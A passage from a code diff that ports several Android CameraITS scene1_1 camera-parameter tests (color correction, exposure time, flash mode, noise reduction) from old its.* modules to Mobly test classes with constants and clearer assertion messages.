+        reqs[i]['android.lens.focalLength'] = fl
+        if i > 0:
+          # Calculate the active sensor region for a non-cropped image
+          zoom = avail_fls[0] / fl
+          aa = props['android.sensor.info.activeArraySize']
+          aa_w, aa_h = aa['right'] - aa['left'], aa['bottom'] - aa['top']
 
+          # Calculate a center crop region.
+          assert zoom >= 1
+          crop_w = aa_w // zoom
+          crop_h = aa_h // zoom
+          crop_region = {'left': aa_w // 2 - crop_w // 2,
+                         'top': aa_h // 2 - crop_h // 2,
+                         'right': aa_w // 2 + crop_w // 2,
+                         'bottom': aa_h // 2 + crop_h // 2}
+          reqs[i]['android.scaler.cropRegion'] = crop_region
+
+      # capture YUVs
+      y_means = {}
+      e_msg = ''
+      fmt = [{'format': 'yuv', 'width': w, 'height': h}]
+      caps = cam.do_capture(reqs, fmt)
+      for i, fl in enumerate(avail_fls):
+        img = image_processing_utils.convert_capture_to_rgb_image(
+            caps[i], props=props)
+        image_processing_utils.write_image(img, '%s_yuv_fl=%s.jpg' % (
+            os.path.join(log_path, _NAME), fl))
+        y, _, _ = image_processing_utils.convert_capture_to_planes(
+            caps[i], props=props)
+        y_mean = image_processing_utils.compute_image_means(
+            image_processing_utils.get_image_patch(
+                y, _PATCH_X, _PATCH_Y, _PATCH_W, _PATCH_H))[0]
+        msg = 'y[%s]: %.3f, ' % (fl, y_mean)
+        logging.debug(msg)
+        e_msg += msg
+        y_means[fl] = y_mean
+
+      # compare Y means
+      e_msg += 'TOL=%.5f' % _THRESH_DIFF
+      assert np.isclose(max(y_means.values()), min(y_means.values()),
+                        rtol=_THRESH_DIFF), e_msg
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene1_1/test_param_color_correction.py b/apps/CameraITS/tests/scene1_1/test_param_color_correction.py
index f49eba5..b6cf66f 100644
--- a/apps/CameraITS/tests/scene1_1/test_param_color_correction.py
+++ b/apps/CameraITS/tests/scene1_1/test_param_color_correction.py
@@ -11,109 +11,156 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies color correction parameter settings."""
 
+
+import logging
 import os.path
-
-import its.caps
-import its.device
-import its.image
-import its.objects
-import its.target
-
 import matplotlib
 from matplotlib import pylab
+from mobly import test_runner
 
-NAME = os.path.basename(__file__).split('.')[0]
-THRESHOLD_MAX_DIFF = 0.1
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+CC_XFORM_BOOST_B = [1, 0, 0,
+                    0, 1, 0,
+                    0, 0, 2]  # blue channel 2x
+CC_XFORM_UNITY = [1, 0, 0,
+                  0, 1, 0,
+                  0, 0, 1]  # all channels equal
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+PATCH_H = 0.1  # center 10%
+PATCH_W = 0.1
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
+RAW_GAIN_BOOST_R = [2, 1, 1, 1]  # red channel 2x
+RAW_GAIN_UNITY = [1, 1, 1, 1]  # all channels equal
+RGB_DIFF_THRESH = 0.1  # threshold for differences in asserts
+RGB_RANGE_THRESH = 0.2  # 0.2 < mean < 0.8 to avoid dark or saturated imgs
 
 
-def main():
-    """Test that the android.colorCorrection.* params are applied when set.
+class ParamColorCorrectionTest(its_base_test.ItsBaseTest):
+  """Test that the android.colorCorrection.* params are applied when set.
 
-    Takes shots with different transform and gains values, and tests that
-    they look correspondingly different. The transform and gains are chosen
-    to make the output go redder or bluer.
+  Takes shots with different transform and gains values, and tests that
+  they look correspondingly different. The transform and gains are chosen
+  to make the output go redder or bluer.
 
-    Uses a linear tonemap.
-    """
+  Uses a linear tonemap.
+  """
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.compute_target_exposure(props) and
-                             not its.caps.mono_camera(props))
-        sync_latency = its.caps.sync_latency(props)
+  def test_param_color_correction(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
 
-        # Baseline request
-        debug = its.caps.debug_mode()
-        largest_yuv = its.objects.get_largest_yuv_format(props)
-        if debug:
-            fmt = largest_yuv
-        else:
-            match_ar = (largest_yuv['width'], largest_yuv['height'])
-            fmt = its.objects.get_smallest_yuv_format(props, match_ar=match_ar)
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props) and
+          not camera_properties_utils.mono_camera(props))
 
-        e, s = its.target.get_target_exposure_combos(cam)['midSensitivity']
-        req = its.objects.manual_capture_request(s, e, 0.0, True, props)
-        req['android.colorCorrection.mode'] = 0
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-        # Transforms:
-        # 1. Identity
-        # 2. Identity
-        # 3. Boost blue
-        transforms = [its.objects.int_to_rational([1, 0, 0, 0, 1, 0, 0, 0, 1]),
-                      its.objects.int_to_rational([1, 0, 0, 0, 1, 0, 0, 0, 1]),
-                      its.objects.int_to_rational([1, 0, 0, 0, 1, 0, 0, 0, 2])]
+      # Define format
+      sync_latency = camera_properties_utils.sync_latency(props)
+      largest_yuv = capture_request_utils.get_largest_yuv_format(props)
+      match_ar = (largest_yuv['width'], largest_yuv['height'])
+      fmt = capture_request_utils.get_smallest_yuv_format(
+          props, match_ar=match_ar)
 
-        # Gains:
-        # 1. Unit
-        # 2. Boost red
-        # 3. Unit
-        gains = [[1, 1, 1, 1], [2, 1, 1, 1], [1, 1, 1, 1]]
+      # Define baseline request
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          log_path, cam)['midSensitivity']
+      req = capture_request_utils.manual_capture_request(s, e, 0.0, True, props)
+      req['android.colorCorrection.mode'] = 0
 
-        r_means = []
-        g_means = []
-        b_means = []
+      # Define transforms
+      transforms = [capture_request_utils.int_to_rational(CC_XFORM_UNITY),
+                    capture_request_utils.int_to_rational(CC_XFORM_UNITY),
+                    capture_request_utils.int_to_rational(CC_XFORM_BOOST_B)]
 
-        # Capture requests:
-        # 1. With unit gains, and identity transform.
-        # 2. With a higher red gain, and identity transform.
-        # 3. With unit gains, and a transform that boosts blue.
-        for i in range(len(transforms)):
-            req['android.colorCorrection.transform'] = transforms[i]
-            req['android.colorCorrection.gains'] = gains[i]
-            cap = its.device.do_capture_with_latency(
-                    cam, req, sync_latency, fmt)
-            img = its.image.convert_capture_to_rgb_image(cap)
-            its.image.write_image(img, '%s_req=%d.jpg' % (NAME, i))
-            tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
-            rgb_means = its.image.compute_image_means(tile)
-            r_means.append(rgb_means[0])
-            g_means.append(rgb_means[1])
-            b_means.append(rgb_means[2])
-            ratios = [rgb_means[0] / rgb_means[1], rgb_means[2] / rgb_means[1]]
-            print 'Means = ', rgb_means, '   Ratios =', ratios
+      # Define RAW gains:
+      gains = [RAW_GAIN_UNITY,
+               RAW_GAIN_BOOST_R,
+               RAW_GAIN_UNITY]
 
-        # Draw a plot.
-        domain = range(len(transforms))
-        pylab.plot(domain, r_means, '-ro')
-        pylab.plot(domain, g_means, '-go')
-        pylab.plot(domain, b_means, '-bo')
-        pylab.ylim([0, 1])
-        pylab.title(NAME)
-        pylab.xlabel('Unity, R boost, B boost')
-        pylab.ylabel('RGB means')
-        matplotlib.pyplot.savefig('%s_plot_means.png' % (NAME))
+      # Capture requests:
+      # 1. With unit gains, and identity transform.
+      # 2. With a higher red gain, and identity transform.
+      # 3. With unit gains, and a transform that boosts blue.
+      r_means = []
+      g_means = []
+      b_means = []
+      capture_idxs = range(len(transforms))
+      for i in capture_idxs:
+        req['android.colorCorrection.transform'] = transforms[i]
+        req['android.colorCorrection.gains'] = gains[i]
+        cap = its_session_utils.do_capture_with_latency(
+            cam, req, sync_latency, fmt)
+        img = image_processing_utils.convert_capture_to_rgb_image(cap)
+        image_processing_utils.write_image(img, '%s_req=%d.jpg' % (
+            os.path.join(log_path, NAME), i))
+        patch = image_processing_utils.get_image_patch(
+            img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+        rgb_means = image_processing_utils.compute_image_means(patch)
+        r_means.append(rgb_means[0])
+        g_means.append(rgb_means[1])
+        b_means.append(rgb_means[2])
+        ratios = [rgb_means[0] / rgb_means[1], rgb_means[2] / rgb_means[1]]
+        logging.debug('Means: %s,  Ratios: %s', str(rgb_means), str(ratios))
 
-        # Expect G0 == G1 == G2, R0 == 0.5*R1 == R2, B0 == B1 == 0.5*B2
-        # Also need to ensure that the image is not clamped to white/black.
-        assert all(g_means[i] > 0.2 and g_means[i] < 0.8 for i in xrange(3))
-        assert abs(g_means[1] - g_means[0]) < THRESHOLD_MAX_DIFF
-        assert abs(g_means[2] - g_means[1]) < THRESHOLD_MAX_DIFF
-        assert abs(r_means[2] - r_means[0]) < THRESHOLD_MAX_DIFF
-        assert abs(r_means[1] - 2.0 * r_means[0]) < THRESHOLD_MAX_DIFF
-        assert abs(b_means[1] - b_means[0]) < THRESHOLD_MAX_DIFF
-        assert abs(b_means[2] - 2.0 * b_means[0]) < THRESHOLD_MAX_DIFF
+      # Draw a plot
+      pylab.figure(NAME)
+      for ch, means in enumerate([r_means, g_means, b_means]):
+        pylab.plot(capture_idxs, means, '-'+'rgb'[ch]+'o')
+      pylab.xticks(capture_idxs)
+      pylab.ylim([0, 1])
+      pylab.title(NAME)
+      pylab.xlabel('Cap Index [Unity, R boost, B boost]')
+      pylab.ylabel('RGB patch means')
+      matplotlib.pyplot.savefig(
+          '%s_plot_means.png' % os.path.join(log_path, NAME))
+      # Ensure that image is not clamped to white/black.
+      if not all(RGB_RANGE_THRESH < g_means[i] < 1.0-RGB_RANGE_THRESH
+                 for i in capture_idxs):
+        raise AssertionError('Image too dark/bright! Check setup.')
+
+      # Expect G0 == G1 == G2, R0 == 0.5*R1 == R2, B0 == B1 == 0.5*B2
+      # assert planes in caps expected to be equal
+      if abs(g_means[1] - g_means[0]) > RGB_DIFF_THRESH:
+        raise AssertionError('G[0] vs G[1] too different. '
+                             f'[0]: {g_means[0]:.3f}, [1]: {g_means[1]:.3f}')
+      if abs(g_means[2] - g_means[1]) > RGB_DIFF_THRESH:
+        raise AssertionError('G[1] vs G[2] too different. '
+                             f'[1]: {g_means[1]:.3f}, [2]: {g_means[2]:.3f}')
+      if abs(r_means[2] - r_means[0]) > RGB_DIFF_THRESH:
+        raise AssertionError('R[0] vs R[2] too different. '
+                             f'[0]: {r_means[0]:.3f}, [2]: {r_means[2]:.3f}')
+      if abs(b_means[1] - b_means[0]) > RGB_DIFF_THRESH:
+        raise AssertionError('B[0] vs B[1] too different. '
+                             f'[0]: {b_means[0]:.3f}, [1]: {b_means[1]:.3f}')
+
+      # assert boosted planes in caps
+      if abs(r_means[1] - 2*r_means[0]) > RGB_DIFF_THRESH:
+        raise AssertionError('R[1] not boosted enough or too much. '
+                             f'[0]: {r_means[0]:.4f}, [1]: {r_means[1]:.4f}')
+      if abs(b_means[2] - 2*b_means[0]) > RGB_DIFF_THRESH:
+        raise AssertionError('B[2] not boosted enough or too much. '
+                             f'[0]: {b_means[0]:.4f}, [2]: {b_means[2]:.4f}')
+
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
 
diff --git a/apps/CameraITS/tests/scene1_1/test_param_exposure_time.py b/apps/CameraITS/tests/scene1_1/test_param_exposure_time.py
index 3995c6e..7000bc2 100644
--- a/apps/CameraITS/tests/scene1_1/test_param_exposure_time.py
+++ b/apps/CameraITS/tests/scene1_1/test_param_exposure_time.py
@@ -11,74 +11,99 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies android.sensor.exposureTime parameter."""
 
+
+import logging
 import os.path
-
-import its.caps
-import its.device
-import its.image
-import its.objects
-import its.target
-
 import matplotlib
 from matplotlib import pylab
+from mobly import test_runner
 
-NAME = os.path.basename(__file__).split('.')[0]
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+COLORS = ['R', 'G', 'B']
+EXP_MULT_FACTORS = [0.8, 0.9, 1.0, 1.1, 1.2]  # vary exposure +/- 20%
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+PATCH_H = 0.1  # center 10%
+PATCH_W = 0.1
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
 
 
-def main():
-    """Test that the android.sensor.exposureTime parameter is applied."""
+class ParamExposureTimeTest(its_base_test.ItsBaseTest):
+  """Test that the android.sensor.exposureTime parameter is applied."""
 
+  def test_param_exposure_time(self):
+    logging.debug('Starting %s', NAME)
     exp_times = []
     r_means = []
     g_means = []
     b_means = []
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.compute_target_exposure(props))
-        sync_latency = its.caps.sync_latency(props)
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props))
 
-        debug = its.caps.debug_mode()
-        largest_yuv = its.objects.get_largest_yuv_format(props)
-        if debug:
-            fmt = largest_yuv
-        else:
-            match_ar = (largest_yuv['width'], largest_yuv['height'])
-            fmt = its.objects.get_smallest_yuv_format(props, match_ar=match_ar)
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-        e, s = its.target.get_target_exposure_combos(cam)['midExposureTime']
-        for i, e_mult in enumerate([0.8, 0.9, 1.0, 1.1, 1.2]):
-            req = its.objects.manual_capture_request(
-                    s, e * e_mult, 0.0, True, props)
-            cap = its.device.do_capture_with_latency(
-                    cam, req, sync_latency, fmt)
-            img = its.image.convert_capture_to_rgb_image(cap)
-            its.image.write_image(
-                    img, '%s_frame%d.jpg' % (NAME, i))
-            tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
-            rgb_means = its.image.compute_image_means(tile)
-            exp_times.append(e * e_mult)
-            r_means.append(rgb_means[0])
-            g_means.append(rgb_means[1])
-            b_means.append(rgb_means[2])
+      # Create requests
+      sync_latency = camera_properties_utils.sync_latency(props)
+      largest_yuv = capture_request_utils.get_largest_yuv_format(props)
+      match_ar = (largest_yuv['width'], largest_yuv['height'])
+      fmt = capture_request_utils.get_smallest_yuv_format(
+          props, match_ar=match_ar)
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          log_path, cam)['midExposureTime']
 
-    # Draw a plot.
-    pylab.plot(exp_times, r_means, '-ro')
-    pylab.plot(exp_times, g_means, '-go')
-    pylab.plot(exp_times, b_means, '-bo')
+      # Do captures & process images
+      for i, e_mult in enumerate(EXP_MULT_FACTORS):
+        req = capture_request_utils.manual_capture_request(
+            s, e * e_mult, 0.0, True, props)
+        cap = its_session_utils.do_capture_with_latency(
+            cam, req, sync_latency, fmt)
+        img = image_processing_utils.convert_capture_to_rgb_image(cap)
+        image_processing_utils.write_image(
+            img, '%s_frame%d.jpg' % (os.path.join(log_path, NAME), i))
+        patch = image_processing_utils.get_image_patch(
+            img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+        rgb_means = image_processing_utils.compute_image_means(patch)
+        exp_times.append(e * e_mult)
+        r_means.append(rgb_means[0])
+        g_means.append(rgb_means[1])
+        b_means.append(rgb_means[2])
+
+    # Draw plot
+    pylab.figure(NAME)
+    for ch, means in enumerate([r_means, g_means, b_means]):
+      pylab.plot(exp_times, means, '-'+'rgb'[ch]+'o')
     pylab.ylim([0, 1])
     pylab.title(NAME)
     pylab.xlabel('Exposure times (ns)')
     pylab.ylabel('RGB means')
-    plot_name = '%s_plot_means.png' % NAME
+    plot_name = '%s_plot_means.png' % os.path.join(log_path, NAME)
     matplotlib.pyplot.savefig(plot_name)
 
-    # Test for pass/fail: check that each shot is brighter than the previous.
-    for means in [r_means, g_means, b_means]:
-        for i in range(len(means)-1):
-            assert means[i+1] > means[i], 'See %s' % plot_name
+    # Assert each shot is brighter than previous.
+    for ch, means in enumerate([r_means, g_means, b_means]):
+      for i in range(len(EXP_MULT_FACTORS)-1):
+        e_msg = '%s [i+1]: %.4f, [i]: %.4f' % (COLORS[ch], means[i+1], means[i])
+        assert means[i+1] > means[i], e_msg
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
 
diff --git a/apps/CameraITS/tests/scene1_1/test_param_flash_mode.py b/apps/CameraITS/tests/scene1_1/test_param_flash_mode.py
index eb9628f..6fede89 100644
--- a/apps/CameraITS/tests/scene1_1/test_param_flash_mode.py
+++ b/apps/CameraITS/tests/scene1_1/test_param_flash_mode.py
@@ -11,74 +11,140 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies android.flash.mode parameters is applied when set."""
 
+
+import logging
 import os.path
-import its.caps
-import its.device
-import its.image
-import its.objects
-import its.target
+from mobly import test_runner
 
-NAME = os.path.basename(__file__).split('.')[0]
-GRADIENT_DELTA = 0.1
-Y_RELATIVE_DELTA_FLASH = 0.1  # 10%
-Y_RELATIVE_DELTA_TORCH = 0.05  # 5%
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+FLASH_MODES = {'OFF': 0, 'SINGLE': 1, 'TORCH': 2}
+FLASH_STATES = {'UNAVAIL': 0, 'CHARGING': 1, 'READY': 2, 'FIRED': 3,
+                'PARTIAL': 4}
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+PATCH_H = 0.25  # center 25%
+PATCH_W = 0.25
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
+GRADIENT_DELTA = 0.1  # used for tablet setups (tablet screen aborbs energy)
+Y_RELATIVE_DELTA_FLASH = 0.1  # 10%  # used for reflective chart setups
+Y_RELATIVE_DELTA_TORCH = 0.05  # 5%  # used for reflective chart setups
 
 
-def main():
-    """Test that the android.flash.mode parameter is applied."""
+class ParamFlashModeTest(its_base_test.ItsBaseTest):
+  """Test that the android.flash.mode parameter is applied."""
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.compute_target_exposure(props) and
-                             its.caps.flash(props))
-        sync_latency = its.caps.sync_latency(props)
+  def test_param_flash_mode(self):
+    logging.debug('Starting %s', NAME)
+    logging.debug('FLASH_MODES[OFF]: %d, [SINGLE]: %d, [TORCH]: %d',
+                  FLASH_MODES['OFF'], FLASH_MODES['SINGLE'],
+                  FLASH_MODES['TORCH'])
+    logging.debug(('FLASH_STATES[UNAVAIL]: %d, [CHARGING]: %d, [READY]: %d,'
+                   '[FIRED] %d, [PARTIAL]: %d'), FLASH_STATES['UNAVAIL'],
+                  FLASH_STATES['CHARGING'], FLASH_STATES['READY'],
+                  FLASH_STATES['FIRED'], FLASH_STATES['PARTIAL'])
 
-        flash_modes_reported = []
-        flash_states_reported = []
-        means = []
-        grads = []
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
 
-        # Manually set the exposure to be a little on the dark side, so that
-        # it should be obvious whether the flash fired or not, and use a
-        # linear tonemap.
-        debug = its.caps.debug_mode()
-        largest_yuv = its.objects.get_largest_yuv_format(props)
-        if debug:
-            fmt = largest_yuv
-        else:
-            match_ar = (largest_yuv['width'], largest_yuv['height'])
-            fmt = its.objects.get_smallest_yuv_format(props, match_ar=match_ar)
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props) and
+          camera_properties_utils.flash(props))
 
-        e, s = its.target.get_target_exposure_combos(cam)['midExposureTime']
-        e /= 2
-        req = its.objects.manual_capture_request(s, e, 0.0, True, props)
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-        for f in [0, 1, 2]:
-            req['android.flash.mode'] = f
-            cap = its.device.do_capture_with_latency(
-                    cam, req, sync_latency, fmt)
-            flash_modes_reported.append(cap['metadata']['android.flash.mode'])
-            flash_states_reported.append(cap['metadata']['android.flash.state'])
-            y, _, _ = its.image.convert_capture_to_planes(cap, props)
-            its.image.write_image(y, '%s_%d.jpg' % (NAME, f))
-            tile = its.image.get_image_patch(y, 0.375, 0.375, 0.25, 0.25)
-            its.image.write_image(tile, '%s_%d_tile.jpg' % (NAME, f))
-            means.append(its.image.compute_image_means(tile)[0])
-            grads.append(its.image.compute_image_max_gradients(tile)[0])
+      modes = []
+      states = []
+      means = []
+      grads = []
 
-        assert flash_modes_reported == [0, 1, 2]
-        assert flash_states_reported[0] not in [3, 4]
-        assert flash_states_reported[1] in [3, 4]
-        assert flash_states_reported[2] in [3, 4]
+      # Manually set the exposure to be a little on the dark side, so that
+      # it should be obvious whether the flash fired or not, and use a
+      # linear tonemap.
+      largest_yuv = capture_request_utils.get_largest_yuv_format(props)
+      match_ar = (largest_yuv['width'], largest_yuv['height'])
+      fmt = capture_request_utils.get_smallest_yuv_format(
+          props, match_ar=match_ar)
+      sync_latency = camera_properties_utils.sync_latency(props)
 
-        print 'Brightnesses:', means
-        print 'Max gradients: ', grads
-        assert (grads[1]-grads[0] > GRADIENT_DELTA or
-                (means[1]-means[0]) / means[0] > Y_RELATIVE_DELTA_FLASH)
-        assert (grads[2]-grads[0] > GRADIENT_DELTA or
-                (means[2]-means[0]) / means[0] > Y_RELATIVE_DELTA_TORCH)
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          log_path, cam)['midExposureTime']
+      e /= 2  # darken image slightly
+      req = capture_request_utils.manual_capture_request(s, e, 0.0, True, props)
+
+      for f in FLASH_MODES.values():
+        req['android.flash.mode'] = f
+        cap = its_session_utils.do_capture_with_latency(
+            cam, req, sync_latency, fmt)
+        modes.append(cap['metadata']['android.flash.mode'])
+        states.append(cap['metadata']['android.flash.state'])
+        y, _, _ = image_processing_utils.convert_capture_to_planes(cap, props)
+        image_processing_utils.write_image(
+            y, '%s_%d.jpg' % (os.path.join(log_path, NAME), f))
+        patch = image_processing_utils.get_image_patch(
+            y, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+        image_processing_utils.write_image(
+            patch, '%s_%d_patch.jpg' % (os.path.join(log_path, NAME), f))
+        means.append(image_processing_utils.compute_image_means(patch)[0])
+        grads.append(image_processing_utils.compute_image_max_gradients(
+            patch)[0])
+
+      # Assert state behavior
+      logging.debug('Reported modes: %s', str(modes))
+      logging.debug('Reported states: %s', str(states))
+      assert modes == list(FLASH_MODES.values()), str(modes)
+
+      e_msg = 'flash state reported[OFF]: %d' % states[FLASH_MODES['OFF']]
+      assert states[FLASH_MODES['OFF']] not in [
+          FLASH_STATES['FIRED'], FLASH_STATES['PARTIAL']], e_msg
+
+      e_msg = 'flash state reported[SINGLE]: %d' % states[FLASH_MODES['SINGLE']]
+      assert states[FLASH_MODES['SINGLE']] in [
+          FLASH_STATES['FIRED'], FLASH_STATES['PARTIAL']], e_msg
+
+      e_msg = 'flash state reported[TORCH]: %d' % states[FLASH_MODES['TORCH']]
+      assert states[FLASH_MODES['TORCH']] in [
+          FLASH_STATES['FIRED'], FLASH_STATES['PARTIAL']], e_msg
+
+      # Assert image behavior: change between OFF & SINGLE
+      logging.debug('Brightness means: %s', str(means))
+      logging.debug('Max gradients: %s', str(grads))
+      grad_delta = grads[FLASH_MODES['SINGLE']] - grads[FLASH_MODES['OFF']]
+      mean_delta = ((means[FLASH_MODES['SINGLE']] - means[FLASH_MODES['OFF']]) /
+                    means[FLASH_MODES['OFF']])
+      e_msg = 'gradient SINGLE-OFF: %.3f, ATOL: %.3f' % (
+          grad_delta, GRADIENT_DELTA)
+      e_msg += ' mean SINGLE:OFF %.3f, ATOL: %.3f' % (
+          mean_delta, Y_RELATIVE_DELTA_FLASH)
+      assert (grad_delta > GRADIENT_DELTA or
+              mean_delta > Y_RELATIVE_DELTA_FLASH), e_msg
+
+      # Assert image behavior: change between OFF & TORCH
+      grad_delta = grads[FLASH_MODES['TORCH']] - grads[FLASH_MODES['OFF']]
+      mean_delta = ((means[FLASH_MODES['TORCH']] - means[FLASH_MODES['OFF']]) /
+                    means[FLASH_MODES['OFF']])
+      e_msg = 'gradient TORCH-OFF: %.3f, ATOL: %.3f' % (
+          grad_delta, GRADIENT_DELTA)
+      e_msg += ' mean TORCH:OFF %.3f, ATOL: %.3f' % (
+          mean_delta, Y_RELATIVE_DELTA_TORCH)
+      assert (grad_delta > GRADIENT_DELTA or
+              mean_delta > Y_RELATIVE_DELTA_TORCH), e_msg
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
 
diff --git a/apps/CameraITS/tests/scene1_1/test_param_noise_reduction.py b/apps/CameraITS/tests/scene1_1/test_param_noise_reduction.py
index 00dddc2..b605757 100644
--- a/apps/CameraITS/tests/scene1_1/test_param_noise_reduction.py
+++ b/apps/CameraITS/tests/scene1_1/test_param_noise_reduction.py
@@ -11,141 +11,191 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies android.noiseReduction.mode parameters is applied when set."""
 
-import its.image
-import its.caps
-import its.device
-import its.objects
-import its.target
-import matplotlib
-import matplotlib.pyplot
-import numpy
+
+import logging
 import os.path
+import matplotlib
 from matplotlib import pylab
+from mobly import test_runner
+import numpy as np
 
-NR_MODES = [0, 1, 2, 3, 4]  # NR modes 0, 1, 2, 3, 4 with high gain
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+COLORS = ['R', 'G', 'B']
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+NR_MODES = {'OFF': 0, 'FAST': 1, 'HQ': 2, 'MIN': 3, 'ZSL': 4}
+NR_MODES_LIST = list(NR_MODES.values())
+NUM_COLORS = len(COLORS)
+NUM_FRAMES_PER_MODE = 4
+PATCH_H = 0.1  # center 10%
+PATCH_W = 0.1
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
+SNR_TOLERANCE = 3  # unit in dB
 
 
-def main():
-    """Test that the android.noiseReduction.mode param is applied when set.
+class ParamNoiseReductionTest(its_base_test.ItsBaseTest):
+  """Test that the android.noiseReduction.mode param is applied when set.
 
-    Capture images with the camera dimly lit. Uses a high analog gain to
-    ensure the captured image is noisy.
+  Capture images with the camera dimly lit.
 
-    Captures three images, for NR off, "fast", and "high quality".
-    Also captures an image with low gain and NR off, and uses the variance
-    of this as the baseline.
-    """
-    NAME = os.path.basename(__file__).split(".")[0]
+  Capture images with low gain and noise redcution off, and use the
+  variance of these captures as the baseline.
 
-    NUM_SAMPLES_PER_MODE = 4
-    SNR_TOLERANCE = 3 # unit in db
-    # List of SNRs for R,G,B.
-    snrs = [[], [], []]
+  Use high analog gain on remaining tests to ensure captured images are noisy.
+  """
 
-    # Reference (baseline) SNR for each of R,G,B.
-    ref_snr = []
+  def test_param_noise_reduction(self):
+    logging.debug('Starting %s', NAME)
+    logging.debug('NR_MODES: %s', str(NR_MODES))
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
 
-    nr_modes_reported = []
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props) and
+          camera_properties_utils.per_frame_control(props) and
+          camera_properties_utils.noise_reduction_mode(props, 0))
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.compute_target_exposure(props) and
-                             its.caps.per_frame_control(props) and
-                             its.caps.noise_reduction_mode(props, 0))
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-        # NR mode 0 with low gain
-        e, s = its.target.get_target_exposure_combos(cam)["minSensitivity"]
-        req = its.objects.manual_capture_request(s, e)
-        req["android.noiseReduction.mode"] = 0
-        cap = cam.do_capture(req)
-        rgb_image = its.image.convert_capture_to_rgb_image(cap)
-        its.image.write_image(
-                rgb_image,
-                "%s_low_gain.jpg" % (NAME))
-        rgb_tile = its.image.get_image_patch(rgb_image, 0.45, 0.45, 0.1, 0.1)
-        ref_snr = its.image.compute_image_snrs(rgb_tile)
-        print "Ref SNRs:", ref_snr
+      snrs = [[], [], []]  # List of SNRs for R,G,B
+      ref_snr = []  # Reference (baseline) SNR for each of R,G,B
+      nr_modes_reported = []
 
-        e, s = its.target.get_target_exposure_combos(cam)["maxSensitivity"]
+      # NR mode 0 with low gain
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          log_path, cam)['minSensitivity']
+      req = capture_request_utils.manual_capture_request(s, e)
+      req['android.noiseReduction.mode'] = 0
+      cap = cam.do_capture(req)
+      rgb_image = image_processing_utils.convert_capture_to_rgb_image(cap)
+      image_processing_utils.write_image(
